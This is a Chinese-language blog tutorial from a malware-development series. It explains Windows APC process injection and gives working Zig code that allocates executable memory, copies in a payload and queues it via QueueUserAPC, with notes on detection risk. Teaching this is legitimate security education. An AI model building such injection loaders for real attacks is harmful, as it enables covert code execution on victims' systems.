Day24 - 影子寄生術,操弄世界的魁儡:Process Injection 之 APC Injection(上)

走在時代前沿的前言

Ayo 大家好,歡迎回來,我 CX330。昨天我們介紹了 Mapping Injection 的技術,也帶大家實作了一個 Zig 的 Mapping Injection 的小程式。

今天,我們要來講講 APC Injection 是什麼以及它的實作等等,如果有興趣的話就繼續看下去吧!

完整程式碼可於此處找到https://black-hat-zig.cx330.tw/Advanced-Malware-Techniques/Process-Injection/APC-Injection/classic_apc_injection/

疊甲

中華民國刑法第 362 條:「製作專供犯本章之罪之電腦程式,而供自己或他人犯本章之罪,致生損害於公眾或他人者,處五年以下有期徒刑、拘役或科或併科六十萬元以下罰金。」

本系列文章涉及多種惡意程式的技術,旨在提升個人技術能力與資安意識。本人在此強烈呼籲讀者,切勿使用所學到的知識與技術從事任何違法行為!

Zig 版本

本系列文章中使用的 Zig 版本號為 0.14.1。

APC 簡介

APC 的全名叫做 Asynchronous Procedure Calls,中文翻譯為「非同步程序呼叫」(微軟文檔翻譯)。這是 Windows 作業系統一種獨有的機制,它可以讓一個程式在執行任務的同時,異步的執行其他任務。

每一個線程都會有一個 APC 的隊列(APC Queue),當我們排一個 APC 進去一個線程的 APC 隊列的時候,系統會發出一個軟體中斷(Software Interrupt),等到下次排程線程的時候,會去執行 APC 函數。

系統產生的 APC 稱作為系統模式(Kernel-mode)APC,而應用程式產生的則稱為使用者模式(User-mode)APC。惡意程式就可以透過使用者模式 APC 把 Payload 排進隊列中,等待線程被排程的時候去執行它。

可警示狀態

不過並非所有線程都可以執行隊列中的 APC 函數,微軟的文檔說,當我們把使用者模式的 APC 排入隊列的時候,除非線程處於可警示狀態,否則 APC 函數不會執行

可警示狀態的線程是一個處於等待狀態的線程,當一個線程進入可警示狀態的時候,它會被放進可警示狀態的線程的隊列中,此時它允許執行 APC 隊列中的 APC 函數。

APC Injection

剛剛已經有稍微提到了,APC Injection 就是透過使用者模式的 APC 來把 Payload 放進 APC 隊列之中,使其等待被執行。

我們如果要把一個 APC 函數排進到一個線程中,需要先把該 APC 函數的位址傳遞給 QueueUserAPC 這個 Windows API。微軟的文件是這樣說的。

An application queues an APC to a thread by calling the QueueUserAPC function. The calling thread specifies the address of an APC function in the call to QueueUserAPC.

它說程式透過呼叫 QueueUserAPC 函數可以把 APC 排進一個線程中。呼叫該函數的線程在呼叫 QueueUserAPC 的時候要傳入該 APC 的地址。這個被注入的 Payload 的地址將會被傳遞給 QueueUserAPC 給執行,不過記得在執行前,必須要將該線程設置為可警示狀態

QueueUserAPC

接下來,我們來細看一下這個 Windows API 吧!這個函數它會接收 3 個參數。我們先來看一下微軟的定義吧。

DWORD QueueUserAPC(
  [in] PAPCFUNC  pfnAPC,
  [in] HANDLE    hThread,
  [in] ULONG_PTR dwData
);

它詳細的說明如下:

  • pfnAPC
    • 要呼叫的 APC 函數的位址
  • hThread
    • 一個可警示(Alertable)或是暫停中(Suspended)的線程的句柄
  • dwData
    • 如果剛剛第一個參數的 APC 函數需要傳入參數,可以在這邊傳遞

把線程設為可警示狀態

在微軟的官方文檔中提及,我們如果要把一個線程設置為可警示狀態,可以在建立線程後透過以下其中一個 Windows API 來做到。

  • SleepEx
  • MsgWaitForMultipleObjectsEx
  • WaitForSingleObjectEx
  • WaitForMultipleObjectsEx
  • SignalObjectAndWait

這些函數各自有各自的功能,但是因為我們只是要把線程設置為可警示狀態,所以我們只需要傳遞一個假的事件(Event)句柄就已經夠了。我們並不需要傳遞正確的參數給以上的這些函數,因為只要使用隨便一個其中的函數就可以讓線程進入可警示狀態。

我們可以使用 CreateEvent 這個 Windows API 來建立一個假的事件,這個事件會是一個同步物件,它將允許線程通過發送信號和等待事件來彼此通信。因為 CreateEvent 的輸出並不重要,所以任何合法的事件句柄都可以傳給先前的那堆 Windows API。

以下這邊來示範一下如何使用各種函數的範例。

SleepEx

fn alertableFunction1(lpParameter: LPVOID) callconv(WINAPI) DWORD {
    _ = lpParameter;
    _ = SleepEx(INFINITE, 1); // TRUE = 1
    return 0;
}

MsgWaitForMultipleObjectsEx

fn alertableFunction2(lpParameter: LPVOID) callconv(WINAPI) DWORD {
    _ = lpParameter;

    const hEvent = CreateEventW(null, 0, 0, null);
    if (hEvent != null) {
        const handles = [_]HANDLE{hEvent.?};
        _ = MsgWaitForMultipleObjectsEx(1, &handles, INFINITE, QS_KEY, MWMO_ALERTABLE);
        _ = CloseHandle(hEvent.?);
    }
    return 0;
}

WaitForSingleObjectEx

fn alertableFunction3(lpParameter: LPVOID) callconv(WINAPI) DWORD {
    _ = lpParameter;

    const hEvent = CreateEventW(null, 0, 0, null);
    if (hEvent != null) {
        _ = WaitForSingleObjectEx(hEvent.?, INFINITE, 1); // TRUE = 1
        _ = CloseHandle(hEvent.?);
    }
    return 0;
}

WaitForMultipleObjectsEx

fn alertableFunction4(lpParameter: LPVOID) callconv(WINAPI) DWORD {
    _ = lpParameter;

    const hEvent = CreateEventW(null, 0, 0, null);
    if (hEvent != null) {
        const handles = [_]HANDLE{hEvent.?};
        _ = WaitForMultipleObjectsEx(1, &handles, 1, INFINITE, 1); // TRUE = 1
        _ = CloseHandle(hEvent.?);
    }
    return 0;
}

SignalObjectAndWait

fn alertableFunction5(lpParameter: LPVOID) callconv(WINAPI) DWORD {
    _ = lpParameter;

    const hEvent1 = CreateEventW(null, 0, 0, null);
    const hEvent2 = CreateEventW(null, 0, 0, null);

    if (hEvent1 != null and hEvent2 != null) {
        _ = SignalObjectAndWait(hEvent1.?, hEvent2.?, INFINITE, 1); // TRUE = 1
        _ = CloseHandle(hEvent1.?);
        _ = CloseHandle(hEvent2.?);
    }
    return 0;
}

暫停線程

QueueUserAPC 也可以在目標線程為暫停狀態(Suspended State)的時候執行成功。如果使用這個方法執行我們的 Payload,我們應該要先呼叫 QueueUserAPC,再恢復暫停的線程。

值得注意的是,我們這個線程必須要在暫停的狀態下建立,暫停現有的線程是行不通的

程式碼範例

最後我們總結一下,整體的實作邏輯會是這樣:

  1. 先建立一個會去執行剛提到的 5 個函數的其中一個的線程,使其進入可警示狀態
  2. 把 Payload 注入記憶體
  3. 把線程的句柄和 Payload 的基址傳遞給 QueueUserAPC 函數

在這邊,我們把整個 APC Injection 的邏輯包裝成一個函數,叫做 runViaApcInjection。它會需要 2 個參數,如下:

  • hThread
    • 一個可警示狀態或是暫停中的線程的句柄
  • pPayload
    • 一個指向 Payload 的基址的指針
fn runViaApcInjection(hThread: HANDLE, pPayload: []const u8) bool {
    var dwOldProtection: DWORD = 0;

    const pAddress = VirtualAlloc(null, pPayload.len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pAddress == null) {
        print("\t[!] VirtualAlloc Failed With Error : {}\n", .{GetLastError()});
        return false;
    }

    // Copy payload to allocated memory
    @memcpy(@as([*]u8, @ptrCast(pAddress))[0..pPayload.len], pPayload);

    print("\t[i] Payload Written To : 0x{X}\n", .{@intFromPtr(pAddress)});

    if (VirtualProtect(pAddress.?, pPayload.len, PAGE_EXECUTE_READWRITE, &dwOldProtection) == 0) {
        print("\t[!] VirtualProtect Failed With Error : {}\n", .{GetLastError()});
        return false;
    }

    waitForEnter("\t[#] Press <Enter> To Run ... ");

    // Queue the APC
    if (QueueUserAPC(@ptrCast(pAddress), hThread, 0) == 0) {
        print("\t[!] QueueUserAPC Failed With Error : {}\n", .{GetLastError()});
        return false;
    }

    return true;
}

我們來看一下這個函數,它一開始會先用 VirtualAlloc 分配一塊 Payload 大小的記憶體,然後用 @memcpypPayload 的位元組複製到剛剛分配的地址。接著會用 VirtualProtect 來把記憶體權限設置為可執行,最後再用 QueueUserAPC 把 Payload 放進去線程中的使用者模式 APC 隊列中。

那使用可警示狀態的線程和使用暫停中線程到底差在哪裡呢?以下做了一個簡單的比較表格,可以參考一下:

比較面向可警示線程(Alertable Thread)暫停中線程(Suspended Thread)
執行時機在 APC 被排入時會立即執行在線程被恢復(Resume)之後執行
線程狀態正在執行或處於可警示等待中暫停中,未在執行
偵測風險較低(線程看起來正常在等待)稍高(暫停的線程較不尋常)
可靠性高(排入後可保證執行)高(在 resume 時會執行)
使用情境需要立即執行時使用想要控制執行時機時使用

執行結果

我們先看一下使用可警示狀態的線程來實作 APC 注入。這邊我們選擇使用 SleepEx 這個函數。

Alertable Thread

Execution Result

再來看看使用暫停中的線程的方式。

Suspended Thread

Execution Result

鐵人賽期 PoPoo,你今天轉 Po 了嗎?

寫完了!我要從咖啡廳閃人了,他們要關門了!大家掰掰。

明天會來介紹一個 APC Injection 的變種,早鳥版的 APC Injection,大家可以期待一下!

如果對惡意程式開發或是惡意程式分析有興趣的話,這個系列會很適合你!最後也感謝大家的閱讀,歡迎順手按讚留言訂閱轉發(轉發可以讓朋友們知道你都在讀這種很技術的文章,他們會覺得你好帥好強好電,然後開始裝弱互相吹捧)~明天見!